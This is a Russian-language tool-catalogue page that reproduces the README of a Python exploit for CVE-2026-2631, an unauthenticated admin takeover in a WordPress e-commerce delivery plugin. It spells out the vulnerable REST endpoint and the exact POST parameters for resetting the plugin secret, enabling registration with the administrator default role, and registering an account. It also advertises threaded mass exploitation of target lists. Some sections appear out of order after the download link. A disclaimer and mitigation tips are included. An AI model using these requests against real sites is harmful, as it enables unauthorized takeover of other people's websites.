Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-2631 — Datalogics Ecommerce Delivery – Datalogics < 2.6.60 - Неаутентифицированное повышение привилегий | Kitploit
Инструменты/GitHubGitHub/nxploited/cve-2026-2631
Повышение привилегийАнализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийТестирование на ПроникновениеОбучение и ОбразованиеRed Teaming
GitHubnxploited/cve-2026-2631

CVE-2026-2631

Datalogics Ecommerce Delivery – Datalogics < 2.6.60 - Неаутентифицированное повышение привилегий

Репозиторий
35 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2026-2631

Datalogics Ecommerce Delivery – Datalogics < 2.6.60 - Неаутентифицированное повышение привилегий

💥 CVE-2026-2631 – Datalogics Ecommerce Delivery (WordPress) – Неаутентифицированное повышение привилегий

PoC / Эксплойт-скрипт: CVE-2026-2631.py
Автор: Khaled Alenazi (Nxploited) – Nxploited ZeroDay Hub
Контакт: Telegram: @Kxploit


🧬 Обзор уязвимости

  • Плагин: Datalogics Ecommerce Delivery – Datalogics (WordPress)
  • Затронутые версии: < 2.6.60 (не включая)
  • Тип уязвимости: Неаутентифицированное повышение привилегий
  • CVE: CVE-2026-2631
  • CVSS v3.1: 9.8 (Critical)
    AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
  • Дата публикации: 12 марта 2026 г.
  • Последнее обновление: 19 марта 2026 г.
  • Исследователь: Khaled Alenazi (Nxploited)

Плагин Datalogics Ecommerce Delivery – Datalogics предоставляет неаутентифицированную конечную точку:

root@kitploit:~
/wp-json/gsf/v1/update-options

Этот скрипт использует данную конечную точку для:

  1. 💣 Сброса внутреннего ключа shop_secret с помощью уязвимого действия resetStoreConfigrations.
  2. 🔓 Включения регистрации пользователей: users_can_register = 1.
  3. 👑 Установки роли нового пользователя по умолчанию administrator: default_role = administrator.
  4. 🧑‍💻 Автоматической регистрации нового пользователя через форму регистрации WordPress:
    • wp-login.php?action=register

В случае успеха любой новый пользователь, созданный через форму регистрации, получит роль administrator.


⚙️ Возможности

  • ✅ Массовая эксплуатация множества целей WordPress (из файла).
  • ✅ Без аутентификации (не требуется логин/cookies).
  • ✅ Автоматический сброс shop_secret через уязвимую REST-конечную точку.
  • ✅ Автоматическое обновление опций WordPress:
    • users_can_register = 1
    • default_role = administrator
  • ✅ Автоматическая регистрация аккаунта с произвольными учётными данными.
  • ✅ Богатый TUI-вывод с использованием rich (цветная и обновляемая в реальном времени таблица).
  • ✅ Многопоточность с настраиваемым количеством потоков.
  • ✅ Запись результатов в Login_admin.txt.

📦 Требования

🐍 Среда выполнения

  • Python 3.x (рекомендуется 3.8+)

📚 Python-пакеты

Установите необходимые пакеты:

root@kitploit:~
pip install -r requirements.txt

Пример requirements.txt:

root@kitploit:~
requests
rich
urllib3

Или установите вручную:

root@kitploit:~
pip install requests rich urllib3

🧪 Логика скрипта (общий поток)

Для каждой цели:

  1. Нормализация URL

    • Добавляет http://, если он отсутствует.
    • Удаляет завершающие слэши.
  2. Сброс shop_secret

    • Конечная точка:
      /wp-json/gsf/v1/update-options
    • Данные POST:
      • action = resetStoreConfigrations
      • shop_secret = <new_secret>
    • Ищет в ответе текст:
      • app secret key has been updated successfully
  3. Обновление опций WordPress

    • Та же конечная точка, с параметрами:
      • action = createUpdateOption
    • Два обновления опций:
      1. option_key = users_can_register, option_value = 1
      2. option_key = default_role,

🧵 Модель многопоточности

  • Считывает все цели из list.txt (или пользовательского файла).
  • Разбивает цели на N блоков с помощью chunkify.
  • Запускает N рабочих потоков, каждый обрабатывает свой список целей.
  • Использует общую Queue для сообщений о статусе, передаваемых потоку вывода.
  • Отдельный поток вывода (printer_loop) обновляет живую таблицу rich:
    • Показывает индекс, сайт, статус (SUCCESS/FAILED/ERROR) и детали.
    • Отображает общее количество обработанных целей и имя выходного файла.

🚀 Использование

1️⃣ Базовый запуск

root@kitploit:~
python3 CVE-2026-2631.py

В интерактивном режиме будут запрошены:

  1. Файл с целями

    • Запрос: Targets file (one host/URL per line) [list.txt]:
    • По умолчанию: list.txt
    • Каждая строка: домен или полный URL
      • Примеры:
        • victim.com
        • https://target-site.com
        • http://example.org/blog
  2. Количество потоков

    • Запрос: Threads (1-50) [10]:
    • По умолчанию: 10
    • Максимум: 50
      Больше потоков — быстрее, но выше нагрузка на вашу систему и цели.
  3. Значение shop_secret

    • Запрос: shop_secret [Nxploited_newSecret]:
    • По умолчанию: Nxploited_newSecret
      Это новый секретный ключ, отправляемый в resetStoreConfigrations.

Эти учётные данные будут использованы для попытки регистрации на каждой уязвимой цели.


2️⃣ Формат файла с целями

Создайте list.txt (или любой другой файл) с одной целью в строке:

root@kitploit:~
example1.com
http://example2.com
https://shop.example3.net
blog.target-site.org

Скрипт будет:

  • Автоматически добавлять http://, если он отсутствует.
  • Удалять завершающий /.

3️⃣ Вывод и результаты

  • Все успешные операции (даже если регистрация пользователя не удалась, но опции установлены) записываются в:

    Login_admin.txt

  • Пример строки:

    root@kitploit:~
    http://example1.com | register_url: http://example1.com/wp-login.php?action=register | shop_secret: Nxploited_newSecret | reset_ok,option_ok,option_ok,register_open,registered user=Nx_test1 [email protected] pass=Nx_adminSA
    
  • Примеры статусов в живой таблице:

    • ✅ SUCCESS – опции установлены и/или пользователь зарегистрирован.
    • ❌ FAILED – сброс/опции не удались, уязвимость не эксплуатируется.
    • ⚠️ ERROR – исключение, сетевые ошибки, таймауты и т. д.

🧱 HTTP-конечные точки и параметры

🔓 Уязвимая REST-конечная точка

root@kitploit:~
POST /wp-json/gsf/v1/update-options

1. Сброс shop_secret

root@kitploit:~
action=resetStoreConfigrations
shop_secret=<new_secret>

2. Обновление опций

root@kitploit:~
action=createUpdateOption
shop_secret=<new_secret>
option_key=users_can_register
option_value=1
root@kitploit:~
action=createUpdateOption
shop_secret=<new_secret>
option_key=default_role
option_value=administrator

🧑‍💻 Конечная точка регистрации

root@kitploit:~
GET/POST /wp-login.php?action=register

Скрипт:

  • Извлекает _wpnonce, если он присутствует.
  • Отправляет данные регистрации с указанными именем пользователя, email и паролем (если поля существуют).

🔧 Внутреннее устройство скрипта (ключевые функции)

  • normalize_site(raw: str) -> str
    Нормализует URL целей.

  • send_reset_secret(site: str, secret: str, timeout: int = 10) -> (bool, str)
    Пытается выполнить действие resetStoreConfigrations.

  • send_option(site: str, secret: str, key: str, value: str, timeout: int = 10) -> (bool, str)
    Устанавливает опции WordPress через уязвимую конечную точку.

  • check_registration_open(site: str, timeout: int = 10) -> (bool, str)
    Проверяет, открыта ли регистрация и доступна ли форма.

  • try_register_user(...) -> (bool, str)
    Пытается зарегистрировать указанного пользователя.

  • write_success_line(site: str, secret: str, detail: str)
    Записывает детали успеха в Login_admin.txt.

  • worker(...)
    Потоковый рабочий процесс, который:

    1. Сбрасывает

🧪 Пример запуска (интерактивный)

root@kitploit:~
$ python3 CVE-2026-2631.py

[Banner / ASCII Art]

Targets file (one host/URL per line) [list.txt]:
> list.txt

Threads (1-50) [10]:
> 20

shop_secret [Nxploited_newSecret]:
> NxSecret2026!

Registration username [Nx_test1]:
> admin_nx

Registration email [[email protected]]:
> [email protected]

Registration password [Nx_adminSA]:
> SuperStrongP@ss!

[Live table starts showing each target’s status]
Processed 5/20 targets · Output: Login_admin.txt

Done. Successful sites (if any) saved to Login_admin.txt.

🛡️ Меры по смягчению и рекомендации

Для защитников / владельцев сайтов:

  • 🔁 Немедленно обновите плагин до версии 2.6.60 или новее.
  • 🧹 Проверьте:
    • Список пользователей WordPress на наличие неизвестных администраторов.
    • Недавние регистрации в wp_users.
  • 🔑 Перегенерируйте любые секреты или ключи, используемые плагином.
  • 📜 Просмотрите журналы доступа на предмет обращений к:
    • /wp-json/gsf/v1/update-options
    • /wp-login.php?action=register
  • 🧱 Рассмотрите WAF-правила для блокировки неавторизованного доступа к чувствительным REST-конечным точкам.

⚠️ Правовое предупреждение

Данный скрипт предоставляется строго в образовательных целях и для авторизованного тестирования безопасности.

  • Вы не должны использовать этот инструмент на любой системе, приложении или сети без явного письменного разрешения владельца.
  • Несанкционированный доступ, эксплуатация или злоупотребление уязвимостями противозаконны и могут повлечь уголовную ответственность.
  • Автор (Khaled Alenazi – Nxploited), участники и распространители этого скрипта:
    • ❌ НЕ несут никакой ответственности за:
      • Неправильное использование этого кода
      • Ущерб, причинённый прямо или косвенно
      • Любые юридические последствия, возникшие в результате его использования
  • Используя этот скрипт, вы соглашаетесь с тем, что:
    • Вы несёте полную ответственность за свои действия.
    • Вы будете соблюдать все применимые местные, национальные и международные законы и нормативные акты.
    • Вы будете использовать этот инструмент только в контролируемых средах и/или с надлежащей авторизацией (PT/Red Team, bug bounty, лаборатория и т. п.).

Если вы не согласны с этими условиями, не используйте этот скрипт.


❤️ Авторы

  • Исследование и эксплойт:
    • Khaled Alenazi (Nxploited) – Nxploited ZeroDay Hub
  • CVE: CVE-2026-2631
  • Контакт: @Kxploit в Telegram

Оставайтесь в безопасности, занимайтесь хакингом ответственно. 🕶️💻

Скачать инструмент
option_value = administrator
  • Признак успеха:
    • wordpress option has been created or updated successfully
  • Проверка открытой регистрации

    • URL:
      /wp-login.php?action=register
    • Проверяет HTML на наличие:
      • Users can register, Anyone can register, user_registration, registerform
    • Или обнаруживает явное сообщение:
      • user registration is currently not allowed
  • Попытка регистрации пользователя

    • Тот же URL регистрации.
    • Извлекает _wpnonce из скрытого поля ввода, если он присутствует.
    • Отправляет POST-запрос регистрации:
      • user_login, user_email
      • user_pass/user_pass2, если поля пароля существуют
      • _wpnonce, _wp_http_referer, redirect_to, wp-submit=Register
    • Определяет успех по:
      • registration complete, check your email, user registered
    • Если имя пользователя уже существует:
      • Помечает как успех: user_already_exists
  • Логирование

    • Каждая успешная операция обновления опций (с успешной регистрацией или без неё) записывает строку в:
      • Login_admin.txt
    • Формат:
      root@kitploit:~
      <site> | register_url: <url> | shop_secret: <secret> | <details>
      
  • Учётные данные для регистрации

    • Registration username [Nx_test1]:
    • Registration email [[email protected]]:
    • Registration password [Nx_adminSA]:
  • shop_secret
  • Устанавливает опции
  • Проверяет регистрацию
  • Пытается выполнить регистрацию
  • Логирует результат и отправляет статус в очередь
  • printer_loop(queue: Queue, total: int)
    Читает сообщения из очереди и обновляет живую таблицу UI на основе rich.

  • main()
    Управляет:

    • Баннером
    • Пользовательскими запросами
    • Загрузкой целей
    • Запуском потоков
    • Ожиданием завершения и финальным сообщением.